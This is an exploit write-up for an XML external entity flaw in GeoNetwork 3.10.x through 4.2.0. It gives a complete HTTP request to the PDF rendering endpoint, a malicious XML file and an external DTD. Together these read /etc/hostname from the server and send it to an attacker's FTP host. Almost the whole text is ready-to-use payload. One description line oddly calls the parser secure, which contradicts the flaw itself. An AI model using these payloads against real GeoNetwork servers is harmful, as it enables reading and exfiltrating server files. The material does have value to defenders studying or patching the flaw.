Geonetwork 4.2.0 XML Injection

# Exploit Title: Geonetwork 4.2.0 - XML External Entity (XXE)# Date: 2022-July-11# Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb)# Vendor Homepage: https://geonetwork-opensource.org/# Version: Geonetwork 3.10.X through 4.2.0# Tested on: Microsoft Windows Server & Linux# Description:# GeoNetwork 3.1.x through 4.2.0# During rendering pdf of map.# The XML parser is now configured securely to validate submitted XML document accepted from an untrusted source, which might result in arbitrary files retrieval from the server.====================PDF RENDERING==================== POST /geonetwork/pdf/create.json HTTP/1.1Host: REDACTEDContent-Type: application/jsonConnection: closeContent-Length: 563{"layout":"landscape","srs":"","units":"m","rotation":0,"lang":"fre","dpi":"190","outputFormat":"pdf","layers":[{"opacity":1,"type":"mapServer","baseURL":"http://attacker/xxe.xml","layers":["Tracts",],"format":"image/svg+xml","name":"xxe","extent":[-20037508.34,-20037508.34,20037508.34,20037508.34],"tileSize":[256,256]}],"enableLegends":true,"hasTitle":true,"hasNoTitle":false,"hasAttribution":false,"pages":[{"center":[172063.3620639667,4200083.030736061],"scale":"2.5E7","dataOwner":"© ","rotation":0,"comment":"ok","title":"ok","langfre":true}]}The parameters baseURL will be your XML files : ====================XXE_ATTACK==================== ====================XXE.XML=======================<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://ATTACKER/x.dtd"> %pe; %param1; ]><foo>&external;</foo>====================X.dtd=========================They will call the x.dtd<!ENTITY % stuff SYSTEM "file:///etc/hostname"><!ENTITY % param1 "<!ENTITY external SYSTEM 'ftp://ATTACKER_FTP/%stuff;'>">